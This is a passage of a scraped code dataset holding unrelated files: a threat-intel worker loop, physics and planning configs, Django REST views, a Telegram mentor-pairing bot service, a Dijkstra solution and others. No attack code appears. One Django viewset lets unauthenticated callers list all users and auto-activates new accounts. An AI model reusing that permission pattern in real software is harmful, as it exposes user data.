check_feeds()\n check_twitter()\n check_urlscan()\n enrich_country_hosts()\n find_c2_hosts()\n\n logger.info('Country operations complete.')\n\n\ndef organisation_operations(organisation, is_weekly):\n refresh_entities(organisation)\n\n for host in Host.objects.filter(organisation=organisation):\n process_host(host, is_weekly)\n\n for domain in Domain.objects.filter(organisation=organisation):\n process_domain(domain, is_weekly)\n\n if is_weekly:\n for email in Email.objects.filter(organisation=organisation):\n process_email(email)\n\n\ndef do_organisation_operations(is_weekly):\n logger.info('Running organisation operations...')\n\n for organisation in Organisation.objects.all():\n logger.info('Beginning organisation: {0}'.format(organisation.name))\n\n organisation_operations(organisation, is_weekly)\n\n logger.info('Organisation operations complete.')\n\n\ndef start_core():\n logger.info('Starting core worker...')\n\n run_times = Setting.objects.get(name='Core Run Times').value1.split(',')\n weekly_days = Setting.objects.get(name='Core Weekly Tasks Days').value1.split(',')\n\n logger.info('Daily tasks will run at: {0}'.format(str(run_times)))\n logger.info('Weekly tasks will run on {0} at: {1}'.format(str(weekly_days), str(run_times[0])))\n\n while True:\n if time.strftime('%H:%M') in run_times:\n do_country_operations()\n\n if time.strftime('%H:%M') == run_times[0] and time.strftime('%A').lower() in (day.lower() for day in weekly_days):\n do_organisation_operations(True)\n\n else:\n do_organisation_operations(False)\n\n time.sleep(60)\n\n logger.info('Core worker finished.')\n\n\ndef start_helper():\n logger.info('Starting helper...')\n\n rebuild_paste_cache()\n rebuild_paste_string_cache()\n\n while True:\n check_orgs()\n\n if time.strftime('%M') == '00':\n rebuild_paste_string_cache()\n\n time.sleep(60)\n\n logger.info('Helper finished.')\n","repo_name":"phage-nz/observer","sub_path":"core/core_utils.py","file_name":"core_utils.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"40191893860","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"myprocess\")\nprocess.TFileService=cms.Service(\"TFileService\", fileName=cms.string('JERplots.root'))\n\n##-------------------- Communicate with the DB -----------------------\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nfrom Configuration.AlCa.GlobalTag import GlobalTag\nprocess.GlobalTag = GlobalTag(process.GlobalTag, 'auto:run2_mc')\n\n##-------------------- Define the source ----------------------------\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(10)\n)\n\nfrom PhysicsTools.PatAlgos.patInputFiles_cff import filesRelValTTbarPileUpMINIAODSIM\n\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = filesRelValTTbarPileUpMINIAODSIM\n)\n\n##-------------------- User analyzer --------------------------------\nprocess.demo = cms.EDAnalyzer('JetResolutionDemo',\n jets = cms.InputTag('slimmedJets'),\n rho = cms.InputTag('fixedGridRhoAll'),\n\n payload = cms.string('AK4PFchs'),\n\n resolutionsFile = cms.FileInPath('CondFormats/JetMETObjects/data/Summer15_V0_MC_JER_AK4PFchs.txt'),\n scaleFactorsFile = cms.FileInPath('CondFormats/JetMETObjects/data/Summer12_V1_MC_JER_SF_AK5PFchs.txt'),\n\n debug = cms.untracked.bool(False),\n useCondDB = cms.untracked.bool(False)\n)\n\nprocess.p = cms.Path(process.demo)\n\n","repo_name":"cms-sw/cmssw","sub_path":"JetMETCorrections/Modules/test/JetResolutionDemo_cfg.py","file_name":"JetResolutionDemo_cfg.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"36945835853","text":"import turtle\nimport time\nscreen = turtle.Screen()\nscreen.bgcolor(\"blue\")\npen = turtle.Pen()\npen.color(\"black\")\npen.speed(20)\ni = 0\nwhile(i<200):\n pen.forward(2*i)\n pen.left(i)\n i = i+1\ntime.sleep(2)\n","repo_name":"Dileepadari/Turtle_projects","sub_path":"corona.py","file_name":"corona.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"20432245879","text":"import sys\nimport os\nimport datetime\n\n\n# 工程化.\nfrom pathlib import Path\nFILE = Path(__file__).resolve() # 绝对路径.\nROOT = FILE.parents[0] # YOLOv5 root directory\nif str(ROOT) not in sys.path:\n sys.path.append(str(ROOT)) # add ROOT to PATH\nos.chdir(ROOT) # runtime path in current path. \n\nprint(\"run on:\", ROOT)\n\n\n# 允许的文件类型.\nIMAGE_FILE = ['jpg','jpeg','png']\nVIDEO_FILE = ['mp4','avi']\n\n# 0: stop, 1: open detective \nSTOP = 0\n\nSAVE_PATH = \"./file\"\nLOG_PATH = \"./logs\"\n\n\n\n","repo_name":"WakingHours-GitHub/ObjectDetection-Platform","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"50"} +{"seq_id":"25780205289","text":"from django.http import HttpResponse\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import status\nfrom .models import Movie, Actor\nfrom .serializers import MovieSerializer, ActorSerializer\n# Create your views here.\n\n\ndef Home(request):\n context = {}\n return HttpResponse('

Hello

')\n\n\nclass MovieList(APIView):\n \"\"\"\n List all movies \n \"\"\"\n\n def get(self, request):\n movies = Movie.objects.all()\n serializer = MovieSerializer(movies, many=True)\n return Response(serializer.data)\n\n def get_movie(self, pk):\n try:\n return Movie.objects.get(pk=pk)\n\n except Movie.DoesNotExist:\n raise Http404\n\n def put(self, request):\n movie = self.get_movie(request.data['id'])\n serializer = MovieSerializer(movie, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ActorList(APIView):\n \"\"\"\n List all the actors \n \"\"\"\n\n def get(self, request):\n actors = Actor.objects.all()\n serializer = ActorSerializer(actors, many=True)\n return Response(serializer.data)\n","repo_name":"Ajay-creator/Movie-Maintanance-App","sub_path":"movie_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3373489907","text":"#import datapre\n\nfrom csv_utils import CSV\nfrom keras.models import load_model\nimport numpy as np\nimport pandas as pd\n\n\"\"\" df = CSV(\"creditcard.csv\")\nscaled = df.normalized()\nprint(scaled[:5]) \"\"\"\n\n\ndf = CSV(\"sensor_data.csv\")\nprint(df.df.shape)\n\n#df.normalaize()\n\n\n\nmodel = load_model(\"weights/autoencoder.best.hdf5\")\nx,y = df.to_train_test()\npredictions = model.predict(x)\n\nmse = np.mean(np.power(x - predictions, 2), axis=1)\ndf_error = pd.DataFrame({'reconstruction_error': mse}) \nprint(df_error.describe())\noutliers = df_error.index[df_error.reconstruction_error > 0.5].tolist()\nprint(outliers[:10])\n\n","repo_name":"motkeg/Deep-learning","sub_path":"Autoencoder/simple/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"29255916711","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom lab.environments import LocalEnvironment, MaiaEnvironment\n\nfrom common_setup import IssueConfig, IssueExperiment, is_test_run\n\n\nBENCHMARKS_DIR = os.environ[\"DOWNWARD_BENCHMARKS\"]\nREVISIONS = [\"issue591-base\", \"issue591-v1\"]\nCONFIGS = [\n IssueConfig(\n \"lazy_greedy_{}\".format(heuristic),\n [\"--heuristic\", \"h={}()\".format(heuristic),\n \"--search\", \"lazy_greedy(h, preferred=h)\"])\n for heuristic in [\"add\", \"cea\", \"cg\", \"ff\"]\n]\nSUITE = [\n 'barman-sat14-strips', 'cavediving-14-adl', 'childsnack-sat14-strips',\n 'citycar-sat14-adl', 'floortile-sat14-strips', 'ged-sat14-strips',\n 'hiking-sat14-strips', 'maintenance-sat14-adl',\n 'openstacks-sat14-strips', 'parking-sat14-strips',\n 'tetris-sat14-strips', 'thoughtful-sat14-strips',\n 'transport-sat14-strips', 'visitall-sat14-strips']\nENVIRONMENT = MaiaEnvironment(\n priority=0, email=\"jendrik.seipp@unibas.ch\")\n\nif is_test_run():\n SUITE = IssueExperiment.DEFAULT_TEST_SUITE\n ENVIRONMENT = LocalEnvironment(processes=1)\n\nexp = IssueExperiment(\n revisions=REVISIONS,\n configs=CONFIGS,\n environment=ENVIRONMENT,\n)\nexp.add_suite(BENCHMARKS_DIR, SUITE)\n\nexp.add_absolute_report_step()\nexp.add_comparison_table_step()\nexp.add_scatter_plot_step(attributes=[\"total_time\"])\n\nexp()\n","repo_name":"aig-upf/automated-programming-framework","sub_path":"PLANNERS/fast-downward/experiments/issue591/v1-sat.py","file_name":"v1-sat.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"50"} +{"seq_id":"15262122448","text":"from flask import Blueprint, request, abort, jsonify, make_response\nimport configparser\nfrom http import HTTPStatus\nimport logging\n\nfrom spatialapi.manager.spatial_manager import SpatialManager\nfrom spatialapi.utils import json_error\n\nlogger = logging.getLogger(__name__)\n\nspatial_search_hubmap_id_blueprint = Blueprint('spatial_search_hubmap_id_blueprint', __name__)\n\n\n@spatial_search_hubmap_id_blueprint.route('/spatial-search/hubmap-id', methods=['POST'])\ndef spatial_search_hubmap_id():\n request_dict: dict = request.get_json()\n logger.info(f'spatial_search_hubmap_id: POST /spatial-search/hubmap-id {request_dict}')\n request_validation(request_dict)\n\n config = configparser.ConfigParser()\n app_properties: str = 'resources/app.properties'\n logger.info(f'spatial_search: Reading properties file: {app_properties}')\n config.read(app_properties)\n spatial_manager = SpatialManager(config)\n\n cell_type_name: str = None\n if 'cell_type' in request_dict:\n cell_type_name = request_dict['cell_type']\n\n results = spatial_manager.find_relative_to_spatial_entry_iri_within_radius_from_hubmap_id(\n request_dict['target'],\n request_dict['radius'],\n request_dict['hubmap_id'],\n cell_type_name\n )\n\n response = make_response(jsonify(hubmap_ids=results), HTTPStatus.OK)\n response.headers[\"Content-Type\"] = \"application/json\"\n return response\n\n\ndef request_validation(request_dict: dict) -> None:\n int_instances_keys: tuple = (\"radius\", )\n required_request_keys: tuple = int_instances_keys + (\"target\", \"hubmap_id\")\n optional_request_keys: tuple = (\"cell_type\", )\n all_request_keys: tuple = required_request_keys + optional_request_keys\n for k in request_dict.keys():\n if k not in all_request_keys:\n abort(json_error(f\"Request Body: can only have the following attributes {all_request_keys}\",\n HTTPStatus.BAD_REQUEST))\n if not all(key in request_dict for key in required_request_keys):\n abort(json_error(f\"Request Body: must have the following required attributes {required_request_keys}\", HTTPStatus.BAD_REQUEST))\n if not all(isinstance(value, (int, float)) for value in [request_dict[k] for k in int_instances_keys]):\n abort(json_error(f\"Request Body: the following attributes {int_instances_keys} must have numeric values\", HTTPStatus.BAD_REQUEST))\n target_values: list = ['VHMale', 'VHFemale']\n if not request_dict['target'] in target_values:\n abort(json_error(f\"Request Body: the attribute 'target' must be one of: {', '.join(target_values)}\", HTTPStatus.BAD_REQUEST))\n","repo_name":"hubmapconsortium/spatial-api","sub_path":"server/spatialapi/routes/spatial_search_hubmap_id/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35165497005","text":"'''\n[BOJ] 1916 최소비용 구하기\n나의 idea : 특정 도시로 가는 최단경로(버스) 구하기 >> 다익스트라 알고리즘\n'''\nimport sys\nimport heapq\ninput = sys.stdin.readline\nINF = int(1e9)\n\nn = int(input()) #도시의 갯수 - 노드\nm = int(input()) #버스의 개수 - 간선\n\ngraph = [[] for i in range(n+1)]\ndistance = [INF]*(n+1)\nfor _ in range(m):\n a,b,c = map(int, input().split())\n graph[a].append((b,c))\nstart, end = map(int, input().split())\ndef dijkstra(start):\n q = [] #(거리, 노드)\n distance[start] = 0\n heapq.heappush(q,(0,start))\n while q:\n dist, now = heapq.heappop(q)\n #이미 처리된 노드\n if distance[now] < dist:\n continue\n for elem in graph[now]:\n cost = dist + elem[1]\n if cost < distance[elem[0]]:\n distance[elem[0]] = cost\n heapq.heappush(q, (cost, elem[0]))\ndijkstra(start)\nprint(distance[end])","repo_name":"LikeLionBE-Algorithm/Algorithm","sub_path":"김희정/7. 최단경로/3_1916.py","file_name":"3_1916.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14456604642","text":"#!/usr/bin/env python2\nfor T in range(1, int(raw_input()) + 1):\n N, M = list(map(int, raw_input().split()))\n # print(N, M)\n semut = [i for i in range(1, N+1)]\n # print(semut)\n depth = list(map(int, raw_input().split()))\n # print(depth)\n for i in depth:\n # semut = semut[:i] + semut[i+1:]\n semut = semut[i:] + semut[:i][::-1]\n #print(semut)\n print('Kasus #{}: {}'.format(T, ' '.join(map(str, semut))))","repo_name":"IEP/submissions","sub_path":"JOINTS 2018/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"41726630283","text":"import re\nimport unittest\n\nfrom blinkpy.presubmit import audit_non_blink_usage\n\n\nclass TestAuditNonBlinkUsageTest(unittest.TestCase):\n # This is not great but it allows us to check that something is a regexp.\n _REGEXP_CLASS = re.compile(r\"foo\").__class__\n\n def test_valid_compiled_config(self):\n # We need to test this protected data.\n # pylint: disable=W0212\n for entry in audit_non_blink_usage._COMPILED_CONFIG:\n for path in entry['paths']:\n self.assertIsInstance(path, str)\n if 'allowed' in entry:\n self.assertIsInstance(entry['allowed'], self._REGEXP_CLASS)\n if 'disallowed' in entry:\n self.assertIsInstance(entry['disallowed'], self._REGEXP_CLASS)\n for match, advice, warning in entry.get('advice', []):\n self.assertIsInstance(match, self._REGEXP_CLASS)\n self.assertIsInstance(advice, str)\n\n def test_for_special_cases(self):\n for entry in audit_non_blink_usage._COMPILED_CONFIG:\n if entry['paths'] == ['third_party/blink/renderer/']:\n check_list = [\n {'type': 'url::mojom::Origin', 'allowed': False},\n {'type': '::media::mojom::InterfaceFactory', 'allowed': False},\n {'type': 'Hogenetwork::mojom::URLLoaderFactory', 'allowed': False},\n {'type': 'url::mojom::blink::Origin', 'allowed': True},\n {'type': '::media::mojom::blink::InterfaceFactory', 'allowed': True},\n {'type': 'network::mojom::URLLoaderFactory', 'allowed': True},\n {'type': '::network::mojom::URLLoaderFactory', 'allowed': True},\n ]\n for item in check_list:\n if item['allowed']:\n self.assertIsNone(re.match(entry['disallowed'], item['type']))\n elif not item['allowed']:\n self.assertIsNotNone(re.match(entry['disallowed'], item['type']))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"RSATom/Qt","sub_path":"qtwebengine/src/3rdparty/chromium/third_party/blink/tools/blinkpy/presubmit/audit_non_blink_usage_test.py","file_name":"audit_non_blink_usage_test.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"50"} +{"seq_id":"7128003612","text":"from django.contrib.auth import get_user_model\nfrom django_tenants.utils import get_public_schema_name, schema_context\nfrom rest_framework import status, viewsets\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\n\nfrom users.serializers import TenantUserSerializer\n\n\nclass CustomAuthToken(ObtainAuthToken):\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(\n data=request.data, context={\"request\": request}\n )\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data[\"user\"]\n token, _ = Token.objects.get_or_create(user=user)\n tenants = [\n {\"uuid\": v[\"uuid\"], \"name\": v[\"name\"]} for v in user.tenants.values()\n ]\n userdata = {\n \"name\": user.name,\n \"email\": user.email,\n \"tenants\": tenants,\n }\n return Response({\"token\": token.key, \"user\": userdata})\n\n\nclass TenantUserViewSet(viewsets.ViewSet):\n permission_classes = [AllowAny]\n serializer_class = TenantUserSerializer\n\n def create(self, request):\n tenantuser = request.data or {}\n\n with schema_context(get_public_schema_name()):\n user = (\n get_user_model()\n .objects.filter(email__exact=tenantuser[\"email\"])\n .first()\n )\n\n if not user:\n serializer = self.serializer_class(data=tenantuser)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n user = get_user_model().objects.get(email__exact=tenantuser[\"email\"])\n \n # Just for example\n user.is_active = True\n user.is_verified = True\n user.save()\n \n return Response(\"OK\", status=status.HTTP_201_CREATED)\n\n return Response(\"ERROR\", status=status.HTTP_400_BAD_REQUEST)\n\n def update(self, request, pk):\n serializer = self.serializer_class(\n request.user, data=request.data, partial=True\n )\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def retrieve(self, request, pk):\n return Response(status=status.HTTP_200_OK)\n\n def list(self, request):\n users = get_user_model().objects.all()\n serializer = self.serializer_class(users, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def destroy(self, request, pk):\n pass\n","repo_name":"ivcmartello/tenant_api","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8519675108","text":"from django.urls import path\nfrom . import views\n\napp_name = 'core'\n\nurlpatterns = [\n path('movies', views.MovieList.as_view(), name='movie_list'),\n path('top/ten/movies', views.TopMovies.as_view(), name='top_ten_movie'),\n path('movie/', views.MovieDetail.as_view(), name='movie_detail'),\n path('movie/vote//create', views.CreateVote.as_view(), name='create_vote'),\n path('movie/vote//update/', views.UpdateVote.as_view(), name='update_vote'),\n path('movie//upload/image', views.MovieImageUpload.as_view(), name='movie_image_upload')\n]\n\n","repo_name":"henrymbuguak/imdb-movies-django-2-clone","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"74253148316","text":"from django.contrib.auth.models import User\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom myapp.models import Meal, Rating\nfrom myapp.serializers import MealSerializer, RatingSerializer\n\n\nclass MealViewSet(viewsets.ModelViewSet):\n queryset = Meal.objects.all()\n serializer_class = MealSerializer\n\n @action(methods=['POST'], detail=True)\n def rate_meal(self, request, pk=None):\n if 'stars' in request.data:\n '''\n create or update\n '''\n username = request.data['username']\n user = User.objects.get(username=username)\n meal = Meal.objects.get(id=pk)\n stars = request.data['stars']\n try:\n # update\n rating = Rating.objects.get(user=user.id, meal=meal.id) # meal.id or pk\n rating.stars = stars\n rating.save()\n serializer = RatingSerializer(rating, many=False)\n jason = {\n 'message': 'Meal rate updated',\n 'result': serializer.data\n }\n return Response(jason, status=status.HTTP_200_OK)\n except:\n # create\n rating = Rating.objects.create(stars=stars, meal=meal, user=user)\n serializer = RatingSerializer(rating, many=False)\n jason = {\n 'message': 'Meal rate created',\n 'result': serializer.data\n }\n return Response(jason, status=status.HTTP_200_OK)\n else:\n '''\n send message \n '''\n json = {\n 'message': 'stars not provided'\n }\n return Response(json, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass RatingViewSet(viewsets.ModelViewSet):\n queryset = Rating.objects.all()\n serializer_class = RatingSerializer\n","repo_name":"GhaythAli1710/Gh-Rater","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"27235409215","text":"import sys\ninput = sys.stdin.readline\n\ndef findGW(word):\n wordList = list(word)\n curWord = ''\n wordSet = set()\n for w in wordList:\n if w in wordSet:\n if curWord == w :\n continue\n else:\n return False\n else :\n wordSet.add(w)\n curWord = w\n\n return True\n\ndef main():\n # 입력받을 단어의 개수 입력\n # 입력받은 개수만큼 단어 입력\n qtyWords = int(input().rstrip())\n words = [input().rstrip() for _ in range(qtyWords)]\n qtyGroupWords = 0\n\n # 한 단어씩 검사\n for word in words:\n # if findGroupWord(word) == True:\n if findGW(word) == True:\n qtyGroupWords += 1\n \n print(qtyGroupWords)\n\nmain()\n","repo_name":"goomseo/myBaekjoon","sub_path":"백준/Silver/1316. 그룹 단어 체커/그룹 단어 체커.py","file_name":"그룹 단어 체커.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10642746774","text":"from models.users import Feedback\nimport typing\nimport asyncio\nimport aiohttp\nimport math\nimport asyncpg\nimport simplejson as json\nimport aiogram.utils.markdown as md\nimport random\nimport itertools\n\nfrom operator import and_\n\nfrom exceptions import PairAlreadyExists\nfrom models import db, User, Kata, SolvedKata, Chat, MenteeToMentor\nfrom aiogram.types.inline_keyboard import InlineKeyboardMarkup, InlineKeyboardButton\nfrom datetime import date, datetime\nfrom config import *\nfrom tabulate import tabulate\n\n\nclass UserService:\n\n async def get_or_create(**kwargs):\n user = await User.query.where(User.tg_id == kwargs.get('tg_id')).gino.first()\n if user is None:\n user = await User.create(**kwargs)\n return user, user != None\n\n @classmethod\n async def get_daily_message(cls):\n data = await cls.get_users_stats()\n content = [\"Here is a list of all of our warriors!\",\n \"-----------------------------------\"]\n for num, item in enumerate(data, start=1):\n content.append(md.text(num, '--', item.get('cw_username'),\n '--', item.get('count')))\n return md.text(*content, sep='\\n')\n\n @classmethod\n async def get_users_stats(cls):\n conn = await asyncpg.connect(POSTGRES_URI)\n records = await conn.fetch(\"\"\"\n SELECT users.cw_username, COUNT('solved.id')\n FROM solved_katas AS solved\n INNER JOIN users\n ON users.tg_id = solved.user_id\n WHERE solved.kata_id IN (SELECT id FROM katas)\n GROUP BY users.cw_username\n ORDER BY COUNT('solved.id') DESC;\n \"\"\")\n values = [dict(record) for record in records]\n solved = json.loads(json.dumps(values).replace(\" 0:\n buttons.append(InlineKeyboardButton(\n text='Назад', callback_data=f'next_{offset - 10}'))\n if buttons:\n markup.add(*buttons)\n return markup, count.get('count')\n\n async def get_total_pages(user):\n async with aiohttp.ClientSession() as session:\n async with session.get(f'{CODEWARS_BASE_URL}/{user.cw_username}/code-challenges/completed?page=0') as resp:\n resp = await resp.json()\n return resp.get('totalPages')\n\n @classmethod\n async def get_user_solved_katas(cls, user):\n # pages = math.ceil(await cls.get_total_items(user) / 200)\n user = await User.query.where(User.tg_id == user.id).gino.first()\n count = await cls.extract_solved_katas(user)\n return count\n\n async def get_katas(url):\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as resp:\n resp = await resp.json()\n return resp.get('data')\n\n @classmethod\n async def extract_solved_katas(cls, user):\n pages = await cls.get_total_pages(user)\n count = 0\n for page in range(pages):\n url = f\"{CODEWARS_BASE_URL}/{user.cw_username}/code-challenges/completed?page={page}\"\n katas = await cls.get_katas(url)\n for kata in katas:\n instance = await Kata.query.where(Kata.id == kata.get('id')).gino.first()\n exists = await SolvedKata.query.where(and_(SolvedKata.user_id == user.tg_id, SolvedKata.kata_id == kata.get('id'))).gino.first()\n if exists is None and instance is not None:\n await SolvedKata.create(kata_id=instance.id, user_id=user.tg_id)\n count += 1\n return count\n\n @classmethod\n async def extract_solved_katas_in_bulk(cls):\n users = await User.query.gino.all()\n for user in users:\n await cls.extract_solved_katas(user)\n\n\nclass ChatService:\n\n async def get_chat():\n return await Chat.query.limit(1).gino.first()\n\n async def set_chat(chat):\n chat = await Chat.create(id=chat.id, chat_type=chat.type)\n return chat\n\n\nclass MentorService:\n\n model = User\n\n async def make_me_mentor(user):\n instance = await User.query.where(User.tg_id == user.id).gino.first()\n if instance is None:\n await User.create(tg_id=user.id, tg_username=user.username, is_mentor=True)\n else:\n await instance.update(is_mentor=True).apply()\n\n async def get_mentors():\n return await User.query.where(User.is_mentor == True).gino.all()\n\n async def list_mentees():\n return await User.query.where(User.is_mentor == False).gino.all()\n\n async def get_number_of_mentees(mentor: User):\n query = db.text(\n \"\"\"\n SELECT mentor.tg_username AS mentor, COUNT(mentee.tg_id)\n FROM pairs\n INNER JOIN users AS mentor\n ON pairs.mentor_id = mentor.tg_id\n INNER JOIN users AS mentee\n ON pairs.mentee_id = mentee.tg_id\n WHERE mentor.tg_id = :mentor_id AND pairs.created_at::date = (\n SELECT MAX(created_at::date)\n FROM pairs\n )\n GROUP BY mentor.tg_username;\n \"\"\"\n )\n data = await db.first(query, mentor_id=mentor.tg_id)\n return data.count if data is not None else 0\n\n @classmethod\n async def get_random_mentor(cls):\n mentors = await cls.get_mentors()\n query = db.text(\"\"\"\n SELECT COUNT(*)\n FROM users\n WHERE is_mentor = false;\n \"\"\")\n total = await db.first(query)\n weights = [\n abs(total.count - await cls.get_number_of_mentees(mentor)) for mentor in mentors]\n return random.choices(mentors, weights).pop()\n\n @classmethod\n async def get_random_mentee(cls):\n conn = await asyncpg.connect(POSTGRES_URI)\n query = await conn.fetch(\"\"\"\n SELECT tg_id\n FROM users\n WHERE users.tg_id not in (SELECT mentee_id FROM pairs WHERE created_at::date = (SELECT MAX(created_at::date) FROM pairs)) AND is_mentor = false;\n \"\"\")\n await conn.close()\n mentees = [record.get('tg_id') for record in query]\n return await User.query.where(User.tg_id == random.choice(mentees)).gino.first()\n\n @classmethod\n async def find_pair(cls, mentor: User, mentee: User):\n return await MenteeToMentor.query.where(MenteeToMentor.mentor_id == mentor.tg_id and MenteeToMentor.mentee_id == mentee.tg_id).gino.first()\n\n @classmethod\n async def delete_previous_pairs(cls):\n max_date = await db.func.max(MenteeToMentor.created_at).gino.scalar()\n await MenteeToMentor.delete.where(db.cast(MenteeToMentor.created_at, db.Date) == max_date).gino.status()\n\n @classmethod\n async def is_mentor_available(cls, mentor: User):\n today = datetime.now().date()\n return await MenteeToMentor.query.where(db.cast(MenteeToMentor.created_at, db.Date) == today and MenteeToMentor.mentor_id == mentor.tg_id).gino.first() is None\n\n @staticmethod\n async def number_of_available_mentors():\n query = db.text(\"\"\"\n SELECT COUNT(*)\n FROM users\n WHERE is_mentor = true AND tg_id in (SELECT mentor_id FROM pairs WHERE created_at::date = CURRENT_DATE);\n \"\"\")\n total = await db.first(query)\n return total.count\n\n @classmethod\n async def distribute_users(cls):\n # TODO\n # 1) add limit on amount of mentees\n # 2) add probability system\n mentees = await cls.list_mentees()\n mentors = await cls.get_mentors()\n\n random.shuffle(mentors)\n\n for mentee in mentees:\n _mentor = None\n for mentor in mentors:\n pair = await cls.find_pair(mentor, mentee)\n if pair is not None:\n continue\n elif cls.is_mentor_available(mentor):\n _mentor = mentor\n break\n else:\n _mentor = await cls.get_random_mentor()\n await MenteeToMentor.create(mentor_id=_mentor.tg_id, mentee_id=mentee.tg_id)\n\n @classmethod\n async def get_latest_list(cls):\n conn = await asyncpg.connect(POSTGRES_URI)\n query = await conn.fetch(\"\"\"\n SELECT mentor.tg_username AS mentor, mentee.tg_username AS mentee\n FROM pairs\n INNER JOIN users AS mentor\n ON pairs.mentor_id = mentor.tg_id\n INNER JOIN users AS mentee\n ON pairs.mentee_id = mentee.tg_id\n WHERE pairs.created_at::date = (\n SELECT MAX(created_at::date)\n FROM pairs\n );\n \"\"\")\n await conn.close()\n return [(num, record.get('mentor'), record.get('mentee'))\n for num, record in enumerate(query, start=1)]\n\n @classmethod\n async def generate_table(cls):\n headers = [\"#\", \"Mentor\", \"Mentee\"]\n table = await cls.get_latest_list()\n pairs = tabulate(table, headers, tablefmt=\"pretty\")\n return f'
{pairs}
'\n\n @staticmethod\n async def generate_rate_markup():\n markup = InlineKeyboardMarkup()\n\n markup.row(*[InlineKeyboardButton(text=num, callback_data=f\"rate_{num}\")\n for num in range(MIN_RATE, MAX_RATE + 1)])\n return markup\n\n @staticmethod\n async def get_current_mentor(mentee: User) -> User:\n query = db.text(\"\"\"\n SELECT mentor.tg_id, mentor.tg_username\n FROM pairs\n INNER JOIN users AS mentor\n ON mentor.tg_id = pairs.mentor_id\n WHERE pairs.mentee_id = :mentee_id AND pairs.created_at::date = (\n SELECT MAX(created_at::date)\n FROM pairs\n );\n \"\"\")\n mentor = await db.first(query, mentee_id=mentee.tg_id)\n return mentor\n\n @classmethod\n async def get_reminder_message(cls, mentee: User) -> str:\n mentor = await cls.get_current_mentor(mentee)\n base = f\"Please, rate @{mentor.tg_username}'s work\"\n return md.text(base, \"
Don't worry.\\nIt's all confidential
\", sep='\\n\\n')\n\n @staticmethod\n async def rate_mentor(mentee_id: int, mentor_id: int, rate: int):\n await Feedback.create(\n mentee_id=mentee_id,\n mentor_id=mentor_id,\n rate=rate)\n\n @staticmethod\n async def get_mentee(mentee_id: int):\n return await User.query.where(User.tg_id == mentee_id).gino.first()\n","repo_name":"Dinmukhamet/teamlead_assistant","sub_path":"services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":11827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21412812756","text":"import os\nimport sys\nimport LIST2JSON\nimport DrawTextBox\nfrom ocr import OCR\nfrom types import SimpleNamespace\nimport warnings\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module=\"torch.nn.functional\")\n\n\ndef OCREngine(image):\n # 이하 opt을 변경하여 기학습된 모델을 교체할 수 있음\n # Parameters가 변경되었을 경우 OCR-Attn/text_recognize/recognition.py을 참조할 것.\n\n path_abs = os.path.dirname(os.path.abspath(__file__))\n 